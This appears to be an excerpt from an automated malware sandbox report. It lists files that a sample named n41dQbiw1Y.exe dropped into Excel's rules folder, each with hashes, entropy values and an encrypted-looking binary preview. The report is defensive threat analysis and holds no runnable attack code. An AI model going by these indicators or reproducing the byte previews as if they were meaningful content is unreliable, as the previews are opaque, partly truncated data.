Preview:	<?xml"."...L;Q.+...ZW .Nw.....}.GW.H....:..f...n..+..v'...>....S..'..l'Z......\.,'.....w3.w....c....U...^.<..Dy...:.!KV........p./.if.g:......!...n.Z.'zN.,.q .....n..ZC...jy...ee^...x{...wZ...*...Ff.6.C...k...H3zMMb.....o=<w._..I...[...p..~q....(d....l.U..i......@.D.B...cB,...:.o4h.nD5t.....>y.K....b%.....]\...6..C..VA!..uW..hp..k.A...Y.Y-.(#.a.........s......5....M.\|Z..K.........'P....e6.. .L...E._....{...`Q...$..R...^..5.L>.... ..g....R@)p.3.d"q.....3..[x'.{..c..%~Ru..._b.".%.B)c0.lQ...O.....'7...Cb....l..4..[S./%-...v?..O/.w+...._..{.Y.K.\|-.e.Y)^..F.?..u.q.].!a"s.V...(v.X...tRS..{^...az.X..W..w@-<.c..]....A..0[....KI....r..}....%2.....m7.?...V...{.U.ZY...`Pt..}.x.;...J@....Z.3-b..aWP{.O........eN..M..?.!.P%..m..^6.e.....).f...t.[..x.!.;....E;..6.K..!.L.f.}.....IC}ja....S.z..UT.qM...p..N.2..=......e3..\.<.J.K........Xg..O..~.(...M-)[..CS@...`.Gx..YX...R....C.......!V!....a.;4...Uh.........f....V.\...^..}..S..0.F.....y....K~@.l.kp...U......l.@

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11981v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	821
Entropy (8bit):	7.71903773881997
Encrypted:	false
SSDEEP:	24:VW4Rw4qgHSaXjVvdLHz+d82E+okndorwUanbD:VhRw5gy2FLT+Sh+LurwXD
MD5:	DE08A4C8676F6CC6B4A3A010A84BCD08
SHA1:	8CA177A9308DCD5302004E6240365AFE67DAB481
SHA-256:	6F3D174BB0436573D5E4009F57A937FF6444BF91C5F76E7590F63C19C1F580FC
SHA-512:	93F54C790224E7EFAEB3AF3B0812916B6FFC7B985A8316F98BE70B4A1FE98CC0A3B00E3AF807424EDC9AA5CD5E571CC19F2D802C46CC481379DFA2937E8172DA
Malicious:	false
Preview:	<?xml`.5.Yyab..;.R.ldO}.JY._R.,+.)4...@..+>.m.u.pOn..y........P.=../.$&.....H...wH..@UAz..s....x..e.A..o...5.k..v-v....7b.us..,.v....V...Q..........T\........mq..(.W3......n\|i\|....`"...1d&.o9.%...Z.a..6..4....v..Syp.o...df].nB.."..j..?:.{+....m?;o;.SR#N)....I.............Q..p.~.QI]..s...m.{j..Z.3.)..F..irN}..JR....0E*X9.'.IqV.1..hu.Ez......q..2...1./{..vEyD>\awC..D\|....8...r....-.S.........5.....g.....L..@8Z;.....]#u....J..}..X......E../.04@$.}..,..........YGl.U...B..$...Q.;X .0L.[....F.....V.R...........aLJpc.V..B......1.u$G..Y...1.An7.....gM.......C.....`.e....M-T.5.5.T...h.....^.4.U.OI.E(j...[.I...B..-...v. .&.V.dTJ..eon....~.s....EJS.9bbs...yQ(#..V..3'...L.'...y...V..2.......r....Hs...\..GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11989v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1034
Entropy (8bit):	7.8156053777970795
Encrypted:	false
SSDEEP:	24:Mbm6Mb4w9zCnuyaNhBvSa5/KzXDvmJpl3AaMB+oXZbD:YFMbHRCnpa5K+/2De72aCZZD
MD5:	75DAE9419AE6958943C5C4ACCC793D85
SHA1:	E4947559CE7D4EF768B273227B6A0438BB44EFA7
SHA-256:	4177CFB35BF699209E24107719F8BDF5AF19A0427A67B1029920CF7673B3B12F
SHA-512:	061E412615888BBCF78867736DE08BE8441E18A5F40019B545876840E269EE23140473AA8BC154A0D7B36CA5E767A2AABC76000B562A6BD27A8B6324664853B8
Malicious:	false
Preview:	<?xml.~..^8QR......b...~..n.[(#.p.k.M...u).J..~..........';.P....$vp..h.h.....N.n_h..Q]..........[&.\f.L..K.b..D..,......]=..b..f.Y...>.)..).x..C..+..OX[T..\|.F.....:}L....J2.a ..se.:a<..(...?o.........2:..C.pIm.V(."-/....t[..'M..\.~XjJ.K.!.......0%d.OC.....T.rL.......r..nkTP-.sG_.....Q_.4.....$.....rg....;`.Ee..MKU..R. [....iHq..kM.}.j.Y...).B..;......]k.!8e.......fp.........@...3p.w...p..`.Z.+..u.\..$. ....f..a.d....?......a.].+\|.C.@\..:ye.L.]"...s..>..]q..!>=kv.M.'..5..r..x.I....^..T(!.....r.n......b...v.e&.G..(.L.5..s+.'..C.....E.wCY.O3..g....G1$xt.&........B.Y......n.s..#...(..%.k....U...............nA}._.,:}.1.....>k...........#........Xw0(........._G"c.C.e...b{..)o.L...Q..8wD.#.wU.....\|.'...!.uB....d..;.........h..f.#...wuN..wi...S{+R...).{].o.,..AY...vC.?..]....fS.so....(?....:.......).<..rQv..p>+Y4.Q.H.}X...3.T].I...M.;.s)x.c\|z..4..Q.?Bw...~.......Z%.l.g....`.2W.Y.L..G..x....~..@q.....IGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120100v3.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	7.863880280840997
Encrypted:	false
SSDEEP:	24:oTbmKkXaP1KVr7RRa1RzjUPELu94KC0rfPLm3WT2zxn92t3+akbD:/qN8rnMUPELu94J0rnP06NuD
MD5:	BD73A387D37CB81F776140B92D62FA31
SHA1:	8397A9B2F3A48674683B8689AAC95507D6171509
SHA-256:	75D6E67C2513A9EE96BF195EA914E82B08DCBE7D65F0CB51DF7C87174762EB37
SHA-512:	AAE03709FF1C6485C55A6425152AF2D21194725A0CEDB7BE87705345F4C46F9D7A3E3286BD6B6DD8CA1B5F89C8E5BCC2EE4FAACAE8D8656D03D5B67693037DE3
Malicious:	false
Preview:	<?xml.v....F..K^1h..9..k...7....4v....w]..8.......1.Z..8\i.gk.\|.Q+q.....:.......0.M.7....).J.X+.xS.\..pg..}....X..Z.$..u...~"..px..6..R.k....W....Q>.....qW.C]..s(...l4]...N\|....>7Z.w.C.......Ur.g..w...bk/.<.N:..K.(s..P.q...S .....?....7...4y...i.r..T)4.:-..[.....2....C.%R.a.T%N..P....3B.5....O.c4..[=.e.Jt..W8.N.G3..I.&=.....tx.J.+6`...}Q.`....g..y0...T.K .$.n....Y.....p~.>0...(............7..B ....X...a}..Y...V..k].B....!.wY..D%.B.jz?.......--.[.u..f.x...C...!.r......?.K....U#4..ax...t..K....._....s,.R] ...V...\.......fK.....&?2.....6r.M..H(.(...T..x..,.6.G.......M_..8...2....Q.5.Q..cS.......F..F.u~..'=6.\...W.../.^&.)....-Q!.qr..l...1..r x....-.n>V.g...Y...U..=.y..3.l........(s.$./1..4.].PY#..8).8...............l~.<...(v........U+.5...]..o.....u..[..$...t_.d1....[......3..R..V...._.<....q..]..'T.(e...t......\|.H.;.,x...{.t...Z.MG,.eh...O?V.KI..O.;..a...l....Pg.8....-...%..`Q..zZS./Qp..H....t.w....%,.]kX>L.8!...u(...[.Ab.n..@^i!.l~

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120107v6.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	2514
Entropy (8bit):	7.925949154762701
Encrypted:	false
SSDEEP:	48:JD1UY0lFh5WRTq5BJAhbTWvGfeW+I6WAV3NuNh+d8pIFRVgGPRD:zUY0lFh52q5ByeGDHZy3NuqapuBx
MD5:	75542C8D173A9E09708AB15687915281
SHA1:	367CE935CBE7C99E61FA43E4FA22BDF5015DB102
SHA-256:	AD5FBF7E90A214D66804134A52DF43FEE533A09D7A68EDE51A3EA2C5F05C67AA
SHA-512:	088123100B679AC6FBFD4E38C52639A8FDDBAA9E1FB2F1D0C688C59ACDC9D541BC26580A56315CE9AC2D1F6F7F0B50D6CBADEDE58BCEE21EC69730DD7D2E3E26
Malicious:	false
Preview:	<?xml #.....'..)#B....Q......8....%'u.=.I.T+L....b.x....l....Y..<..Y.......j..QU{..%..Q.R..].OJ}.PIkI......(W_.q.Mq..r.. .%.r.$;....^..m.j(.im..qa..E.z...p.A...H}.....W....3......a..n..}'....N.HX.]..78/..!...].^s..$..v.6......M..st..U....m.c.f!u~....\P..M.w].R..E$.y.[..._...r_i.N.T...;....1..Y......... ..C.G.00..N0.g{sLE\|.)@..!\..C.h.+F>.IX...9t...&D.X.f.@9?...{Dg...I.....Z..Po1....Gx...S.F...tb.:..~.X.U..Y....<5.x..0^3. .F.\]...........jz...nVw,......\|.w...n.XD7B^.b..Y.g`s.M........>..P~{Z...M'....Lg:.Di..iU..U.b.....E.hv..C.7#.".;.L_.-2.{.^..O....a9..G..BC(.[4...9.o!....q[....G..g.d.........[!V..X...i.K.[..T9.....#....(E{.P..MaOL..cK..4L.`....h.z#..V?_...l.0..._o..p:..9H...-...2.(A...1W.by4.W..^.X..8.3v]s...l............u;{6{...a....A.w.9..../....sbp,....Pe.Y..".....z.v...v.Y.W.8~..g..C..)..].J*.........i.d..DwP.v..?.Z'8.....3l.o......E......<..-...T...OMv..$.^1.0i.~.E.m...b.T.Q$.F.y...e..:.%.0......\|m.2.=..B.Nz.a......e.!{r.Xl...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120110v4.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1346
Entropy (8bit):	7.816801222421621
Encrypted:	false
SSDEEP:	24:59LnL4WKijGUoN4q/2ya+PNt2isqaQNVqvbv16DDIpaOo8PWOabKJ3SSY/bD:59LnTKzN4Q2j+1IBQnqkUawPWOamYjD
MD5:	1D242A3D8D4FE3305ACCFF32C6045526
SHA1:	E744D2601A0626EE5FD5F9524725BCCB3878D821
SHA-256:	DA20788A265153A90A32FC08C69F512F3FFB801AD764C407889169DB213A1EBB
SHA-512:	EC7FEB617B0D8735DFFA7E48C7ADB6A4273F1918CFB6B28909EA978236FC0C926DA95415DDA7FCE993FC2FC7BCAA198497730944727F7BE099870BBB5834DB9A
Malicious:	false
Preview:	<?xml.~P..d`UO...g.9`\|.0.......0Y..=&.T.?...'L......7.?..D.M.%h....A......y.........ggd...F.hn.vzcK...D...i6.te.(..s[,RV.:..e%..-W.G....5..m.T.)......O..jJ ".A..h\F..koO..#..m.cN(..$j.#S....K]l...hx..y.7..x.3w..JZ....M"@j.a\I.5........o...)...U2x;a4.K}..'NW5...p.!..!.\.'.U..L...!.k`..N.LM:}....]...t:....%...[;.V....{..A'...x.yJ...)G.L._.!....3.&..Xv^..D.....8D....k....v.3......4.LI.)...`8.W.?.e...c..Y.....D_...}........c'.S..F\|)E..n...TFu....Iy....].n-....+.qff..\....i.g>...(...Qc....Ly8..C.{P.$.z .t7..@.Xlk..f.k.&...L.8QA...l.g. ....V(...Jo..4+.......<^.'.c....d..SI.Ne..g....o...8.Ad.8.M..e......,t{....nQ....I.p....8......;.T...>(...@.s..Y...D..G-.."...q..l....=..k..Xsb./....i..x..-%.1..>......EJ...a.Y..zy..;...@S.....?X&.B.L`..odX..d....'.hEo....B.=..'...a...D..z~>./...4...R4..mo..2..x..T)E.BX%Q..q..ph:.p.>....f..H...*7>..M..jW../......-..q...:.5!..}&...d.b..v:-..zJ.Rx.xW.v=.?.T../.......m.r...y.H..........i. d.e.R.E.0.oVW.p......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120112v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1041
Entropy (8bit):	7.819484807252422
Encrypted:	false
SSDEEP:	24:JIcllz/2p9fALGyouGeBg7x9x6CLTx4kbfbD:JIg0bAy6mtiMN5bDD
MD5:	A5820F7945E6AD9F205C9BCAD96644E6
SHA1:	489CCE2AD3C7EB94DC8F9DDBFCFE4000046EF723
SHA-256:	C9E104959B20CB4BB7E733ADB8BD120CE2EEA0771EF5936D95545F428BF7776F
SHA-512:	54B47CA9438726DFF4E52428B1337E487208040C8488E609EF4D40D04D52EC737A0BCC0D165956F8059A1AE094506B1C7D2880B5CE1F892CCCB85A0FF2F8892D
Malicious:	false
Preview:	<?xml...r.....g.....&>......1.n.W.P%W..@"8.W1.N.[..-.#M."..0L.O..}...=.I.....h.X.-Ik.<.:.i)u.5..v...I.1.K?.y.?,..7....-.>....nA..Q8.....u....G.-YJ..J.ps.......SbR.@..1.8..K?......q./..\|Ao.:..gH..}.. .bjeuT..!1N4j..L.c..&.\..X.`'.......(I.Ed..k..{.,>.=.{.8$..v.Bw.......9....d.,...>:TCU.nC.$..O.b..eBo.f..+.U.\|.X.............v..N.#.+.2&.m.Sj.............5Q.;...v.t.....a-...Rw.....Bzcc....2x-...9...}L......z...W.:......D3a...e;........se.C#...[....x.}%._.9.....\|2.y...&:..?.... .>...F..........!..r,...Km{.8.. .......OV..J.w..`8{6._.....;.PD.. m.L.F6pJ.nK.."t.`.M#l}.$t.2.gB.{/...~%0........7.,..-.u.>.\E.g..(g.~....B.( .]../.u....j.P...V..)G...K..)......z0....."..w._...]..f....l./..b)..1.y....A."Yw#..o.A.^..0.?g...8.6x<.A/GF.V....9uHk..]....}..$.rG\.V.Mky.u%..M......z.a.9.........urC`..s..M.g.)..?....W......(R.;.-}.gk.9..=9.t.O..@.i.Y?........m@ ....`=.... ...f...>..E............m....n.l, .o.HaQ].._.+.H.j.e.NGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPD

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120119v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1664
Entropy (8bit):	7.893143912990536
Encrypted:	false
SSDEEP:	48:P/kvlGaeI3oyTD+29ke11REMk9bmTMeqSwrOY9D:P/wl3oy3+F8GNyTMeDwrxF
MD5:	EAEE6D3989106E7D116020B5BFF95F0E
SHA1:	525DCE231850409C4C7873344A619F32952E3D43
SHA-256:	EFC29B2D26939B22179821FDB0F44194482269C60AF74D84734B7F1FEC823989
SHA-512:	1D011C7F5441E9F448F276C9D9146FEBEF141CF3F3AE1BF3BB571C520B4E9EFAE48CDF6EB0E00F9417ACF6C9F8D250C26033B581AA0DFA7B2E1F7612C845DEFB
Malicious:	false
Preview:	<?xml.2#.j....t..l...wh..B.@...1.o3p...j....o.....nOw0f...^.j\.......@M..1r.P(...."...\|....v..=..n...ip..S......[n.....RR.......n..e....#......t/.~l)..r[.F..f..q.q...m.s..zH8?.y.@bud..q....A.2C..,.Y.t.qK...2;2..U...Z...B.L.......x~... .C....;6....7?....QX.s@.....]J....kvy...~s.[......e......G....g..t...........]C...(.......?Y...B...g...I..~...u.2.:.F..m...6.d..W.K....'.M...........SI......R.Z..<...-.#......_.@wc...[.`...'Cs.B1...$..kjr.....GG..RsT.......?...;......m.........R..-Z.8}.....M{9.......J:..I...^.Q.yj.8{...U.HWK.'....W.F.h.1..'..p.89...cr..o..0}........Bq.UyX.{...b.....%.wp.n....).`..(D..E...pd..e.33OuQ.3Z.2.N.u{..(E.....7uB.OJ.!...HEm.P.C..*.LdH...{.ONW....-..0..Y.`Mj.d.?9..a........i.7Tf_J..#.;.E.YV-.Gyc.cI..iu...Y...L.....q...c.t..K.f.X..}.y.q..R~.H]I./...8W2,.......Nf../YEM..1....1.Jk]snmpd.-....Q(..u2.....l..7#.2.S.,.J...H..!..ti..8.pN...k.}..y.2..F.N..{.CjQ:X..e._Y..>....Q....j.u.x1D...V..k..5...........G02$;.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120120v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1195
Entropy (8bit):	7.835145669906455
Encrypted:	false
SSDEEP:	24:NHoVsU6gRTeeAsKdWcJt65Hpye7/1LoOgxblaNZwagQXda5T7MZYgbD:FjgbYdhHqNLoOQh4BFXdgMy6D
MD5:	9C3B325AD54882AB9FC9694A09C44133
SHA1:	2F50F44C395A96398967B2B124DFC22FA9FBE628
SHA-256:	8371CFA5E75409A1309B83E61E9F9AD539B7012E7CAB4B7D487E53E6406FD835
SHA-512:	9095F62B715F1F8F3CB6CFDB345A8F343EB0D845881404784A36C0DEFE5221B63D7AC57937C49ABC66C4B517C974ACC4703619044CB361F6D8DF919A87266F95
Malicious:	false
Preview:	<?xml....y..}.'......V.+....[.P...[.O..\|$.Z...cQ..F..m.a....Z.......Y..\|...T......7\#.fr...6..8oV.".\..(.d&....\|N;....!.....O..H.....X.o.\|...ld<^...'..v.....'.......-...K.W.wA.....V..9DZ5...gM0..JM...;.....}....rkm!..H._2'\..)..r...L7..Z.d..].0N.r.%.....q. Y...9U..(...Amr..;[\|9..\|FW..m.v.n..^.E.Tf... ......n........lR8...-..Y.\|$.-..LqUqY`Y..-..G.....M.7....(A..z.".+.<.j..)......u.$.Ge.....ypg..eA..S..2..F...."o.2.pM.({.u.(.1..5^q^a.1.X.3!1.@Dk.Z....z.s....O..K._...Y..h...0.%.<}D.....O.....v.E/.+...w...."..~Si^.Q.6.....gZ=K..8t...]...]..~jG...k.........V..:Ia..G...G..Ic..XO^.L..c....(....g..&8....3J........r...97F...:..ikM!.......7G.......I....U...L../......X.0v..P%t...C4.l..u.....K...`.o.vBK...m......8...PRP.T.R.....Q.e..!./...Z.....yG..e.K.H..L...". ....('..........MyF....l......I)....~.....f.].9...5.....u..i.7.......I.;...8%\|.}u.}.:.!D...u...4.......YDuoso..#`.nS{..!?....`*.....d..X@#C>.......P.....V...............%6`.).l.. ..i.4.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120125v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1269
Entropy (8bit):	7.791131928680659
Encrypted:	false
SSDEEP:	24:BUxHTgHIWeMTpkSWoaEx0TeUt/gMi+ywqvAxD4/guTcysdI9cjqBfgBH2cIaybD:+xmT5aE2CW/3iYB4xcfS9xgBWcIND
MD5:	757B81CCC4AF1E962E3F9D3B9C09265B
SHA1:	4DD1C5A7FAA7FBEAC55E3547F461AFE62AA4910C
SHA-256:	DBF04B857D8B8AB34509B2F020C9468CFBA424BEE530E947B0EB7BF087E97A76
SHA-512:	A3028CA646A4CDB54108A6BD54AB8EF2C312EDECDE112A93B91BA5F7FB63E78A8E8AEADA77C34C4D248FA09C54EE14CE9BA60C5151DC450AFC158C7C23BFF7E1
Malicious:	false
Preview:	<?xml........&.....Dm....`D.I........t....4i4.T.kt.....=...\|.......z.w..5X.D#l."4.M+j...SZ.+.t.. .mV.e?\........ie..x....\...g...ixpE.....v.r.q!........l..-.!... ......1.9r#...\|...4..Ui)..E.D...,...kZ...OX....p...C..+..-.f#.%.}.Uh.?...?8.....K..w...._.t.f...9`..{G..N..{..6Y.8=..>..v. S........t.7...}.:.$-.,Qu........Up.hq.#...O......P.tD.X.....H..}...\..>K.u.....z.....(W.(6....0......T.3..g........+.9.n.894.\|.........;o..!...3.5&e....b.........+...N.J.......F4..>b...(.2.MW.@U......`.D.+.E#..[..@...j~.)../..8.#D.<.`.".kE.EZ.n..8...].x.....B.~...(W..;.......2._...............&....4,..0....Q.4Zb2*...X....`nX......O1...i0..H..0.T.h../....r#.o...T....7.."..=.g.K...6#t.....S.....xT....J.b.....I.....P4.....].F...ZZ:y...m.f.s.Z.....u\|..Q....#Z.0/..z....v..........M..Dc..\|....t.$k..<U.7.%x...z. (...\...HQ..SH.mcb........U..C....D.rX0qA...4....GE}[...X..\x.D[.P7..-`..v.......REN.....hr..N.,...f..H...6....!.....nFM......u.O.+..Q..wG...U].2m....O...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120126v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1994
Entropy (8bit):	7.910493685519093
Encrypted:	false
SSDEEP:	48:xxyYLZgvHQ8VAh9IWi9IRFygLMp9jmiTeStWF1RxrhroQXRO7HcD:zR1gvw8VK9G4WjaiTCrZuY
MD5:	3E6BD0A21B8D1D25EF89C06E45221ADF
SHA1:	3A90F1B2D65A1E4AAAB26BF15A3470DC5052FA6A
SHA-256:	4AE7A66FDBBD7863060810F630F03AF27D955032476D2C931C60EC94664C9A8B
SHA-512:	790DCA510C7FE5BCD8641FCB68C5FF11CA1BB079EF0BF3CAF686312A43B8F8F8454E75B382302F5D3064C21E3128FFD08B06B1379EC64E5D669F5094F207E7EE
Malicious:	false
Preview:	<?xmlf(z...0b.7z.......!F9M[......,.9eI.....'..bu.;..`.......5.......N.......7f...........Q5.q?t..g....x..I....p.j.R._D..a.x~{......^...V...r.\|.....8.C..U...6....>....).1.....$v.._.i..sEs2..v.nu..2Rjk".F.XS5.3.QI...S$.......7..!.Yf...7...5......z..x~.Z....JV....dM<M.\.6.u....!.2..<..I..04...&.Y..b/..j.mSm#.;.c..N.].M..#.s.J...5..vz0..."..p..t8vvr...4..........P...a.\....v.:..b...:.......~...J....0\|B.<.m$....;.y...5Ntx.o.....M..l....H..q....d.'..U..uT\|}0.g......U+..*....(.I.4....n.Mx<T(....$ ..a.........p..Z.h.n..kc..n.5.$P.Ox]..}rzaZ4.j...7.C@.)d.wv:..v..h.o..gO.m...oq...{o.]v...m..k.E../?..'..5\|.....\9#.....s.RH.....7..z.G.#...$S...r._...Y.FtW.C......7R..~K...4..5J..y..8.g./..^..u=`....`..T..W-..3rJ..@e.V..d.iL.@..y.:..L...2..3...$ .6.p.'....^K..k..J.....%.?G..^E/..s..\|D.p+D.z.1o.....3.=..H.Vr,..Y.H_..WL.....2_...$...T..&...=.mU..v.....q..#".g-.q.!q'...1F....,.%j..4....f_.9^....e.U.J....{#-#......w....mS...._^E......D...B...U%!....sxR;].T

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120126v8.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1506
Entropy (8bit):	7.857321501038861
Encrypted:	false
SSDEEP:	24:QaH1GX7zwfZPfIqmUNnPzPW09PW4BgZC9qjDHRTud+hC4eU9TZYXr3KhVLfDZwFd:Q4GX7UhYUQ0QhU9qjDxKd+besTZY+V6b
MD5:	49082FE98F9E9280FA642A5AA97E20AA
SHA1:	6E577FDCF9E6D2746D0E072A21D16C01015E55BE
SHA-256:	28AC5B3CC51ACF1C8AC7B5D8B861A7D7A03C3CE68D31C2FF8E01B4444076D459
SHA-512:	BD0E35D2B9B70D5947E2BDE275E2E577824BCD48CEE104311A3C8F5BA0BB5767CC968CFE1DC467AAB616C2CF489CC25F44076F3571F96BCEDF925D6D3F41BC1A
Malicious:	false
Preview:	<?xml..K#.a7.)...7.M.....zvG.........j..pf........zm..Iz..'\AKG.CS;.{...Q.....}....w>..h.P;..Z.QD.Bo.P.S.A2.N~:e.S~...5...ZFu..Y.v...$(.)r1J.u..........UIU^.z..7..0J.f..E...$L.0s~....c=0~.....M..."6m....H........S.K.$~..7.%...m.^....U.....b..z,.C1Q.K..\|..hL..)....>..M._..j.`Y.!I...Ph.c..l.....p.>..p.}A..8......W4....m.K..P....j....d(...^..}T..$...JI..b.}#..._..^..!..\|..+..3..{.a.+"cpTa]!g%...M..f...=+....9u.z.{..;&%IX..K.C...(.'1.=hl.\.>n...L.9.......\|......M.Z.M..cm.Q.K..(I.Ux..-....]A..q.C.M...]....&......^...4..[..Y$.,.0...E..".6s.7l...U.C..V.y-b.G.4>....Z"b#.MW...pU.....y]."..'..1.'h.....-?>.......m..y.)Zs..-Q.L.....C...y.....;!wB....<..$....e....(..y.)....M.D.....}.5y?.KO.K.....P.u.(.#..R....{.0v'....K.F.35......Sm.\|=...k...f._....[.X...F.$..4..l7R......{.\Bw.Z.+.3.u).T..Zq...x\...K..g.....v2.`....#5=....{..:~...5.Eu.4n.>Kk...e?H...5.<..........u..l9...g..d..'.M1....:...-.....G......H...._J.t..t.e\..(%..........r#F.~V.rW,5...I.$...`O.A

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120127v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1511
Entropy (8bit):	7.849148585274545
Encrypted:	false
SSDEEP:	24:1tcNvea9QpoJFEmGH+Kif/SURwqjrwusgtJ7SLS/PRKSE+wPbCFmSW/Px4cAbD:1yFFdJFEmk+KK/SQwwrwupG+/PcSv3WU
MD5:	E76555DA2C65CE05B7DF4B39B4561140
SHA1:	42A129895AAA6ADF800844756284A2E1D3A0CECC
SHA-256:	64B77E247ED6D210BC8818154A96CEC20BA3ABD7328FDFDAC9252C0506A1F4B2
SHA-512:	538D85F23F2481ACF78DD81251F2D619A0936758FA5F02040457A4324ADB1FD873015F32BF95E7F86745086903B37760F860D94FFAE9F7C94C9A9C0D1F7047F4
Malicious:	false
Preview:	<?xml.9.-.v....r...a.Ko.....v.m.A[w..-.~.......o.l!...H2j&.........../>.taf.^!..Ia.......\m...f..l.o. 6...:...Vb.KQ......~.....".Sl{....#vo..b.....vl........jB.'...1.....swE:t.....@.Y.J`.....=.4J..X..Y.."z.w.....i.......9....=..Z.r..t...5.epl.r-.Ai.',..l....NlM4..d!Eh.;...=2..(}.....$.4SY.s.<qB.v.Sv;....{gU.#.......(..3........gvO...UU.-4.E.(..&....<.?I\|.j&..6../.:x....pT.$..]!#..L..o...2.,.4.........6...r..pKx.......H..."B...r .+}d.V.~....e.A....N...4..... ...9.+.2@5.z...J.._.N%.mG.7.K.x.>v.`...l.w:.......g.5^wD..-....Ilo....Ml_,.?..K.X..D..G.Z..+V..Q..+.cvV....$..f..b j.k%h....!..#su........+......_.&.1'.....+.9......'.B.:.....r.:..1.6x....N..g2..Wn"....]f.B."J.."l.q..=.LP.?........,.Z....L\|...t...8a...AV....'.~r...q.r7..=..*.......S..\|...t..............O.K2..c..c.n....P.......F.......'..4z.@..J~>..e..?/..6z4..2..M2.. .....Q^...I.......Y..T.GBS....\|......R6yP.sR.G...K..DW]?.........../.{oF.=..k.m...rp..M......S..Kr...>.B..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120128v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	991
Entropy (8bit):	7.784985593990129
Encrypted:	false
SSDEEP:	24:oldM2fzZCqB2nN2+BU+OKOiMQvO5vKVlW1ZIsOAdphvbD:o9zQnY8t3lIAxAdplD
MD5:	1982A858FB2D29B272E94B4AB7C43240
SHA1:	D8879624D00E8201D17BB98EFD0C8FECA8ECD285
SHA-256:	F662B34733DE5A37C5AC360DC43CC2F42EB432DBDC5BF18EE18CB5BD9F04C6C6
SHA-512:	5E730A0FEDFBF0C2432C9DF41810CE0976F2E189D7A51D6D81AF6F0A6773EEB0FA502AAEC1CE53360D5F9278703B32DFB55C5CD34A584C48D6BE98178817AED2
Malicious:	false
Preview:	<?xml.Iz....[.8...h.@.".e....Z...X..)K. ..G..;.<...t..@...I......k4.......Q...T-.d....v.1.{...J..!.p.t.7...S.3.....A..f.&.+..a.3)......A.......D..."...t....Y....'F-.....O...P.....;=X..$A....Fs..\|..7.l/.B......R......q..m.farG93.L.._...'../........9.......Q...B..M..a....t.....b....uqd.....c..2..:.....4.s..g-'..hrU..!..z..O.P.(!..[....j.. ..J.....a.......9>..~H.....!h...}..vwN@....q.s..]..s...W#.e..$Itw.f...:..8...+.K..B.J..:..A.H.Z..E..s.y=.H....#.v(;.B.3.$..\.Uw.y..!s.PK.l......R.....[..7#=.(. 3lh...v.Ex..'.u.5..5H-.d.-.....o[o..T....S.......V3.di...].[A.[..0.NI..Do.X..m.<......Px0..$...O ...W\|N..b._.....n...].>.:..$.CZF.?.....!......h..S-.>.7..H..v:..=oP...Kd.M.bo."...e0..uh.L...C.K'.. 9..Y...}..b.C.9..._..f.)L.../".t...._..c..uSs..9r..a...I....Z....x.j.........k.......Kd.CNn.Pm....Q.....~. ..vy.\.V..H3Em.Wx...p.z.G..{rOj.y...6...t........IC...'....l.c4oji..[Z.GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule12019v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	4150
Entropy (8bit):	7.960529423661966
Encrypted:	false
SSDEEP:	96:BPZywLfGF62YpeeN+Fo7XnQ4KcExrzBZeAvUtzjNxPzwTO4tUU:B1Ls62Ypeewo7XFirlZNvAjvPz/EUU
MD5:	6D03FAE3FE15D10CDC8623CFC83ACAFD
SHA1:	F1C3488D1651ED7D52DA1475D8FCFFB5FB2EF684
SHA-256:	63B0EA180E79FACC37EBCB7D8E83A0CFD952E61FC0346350847493F4530F1351
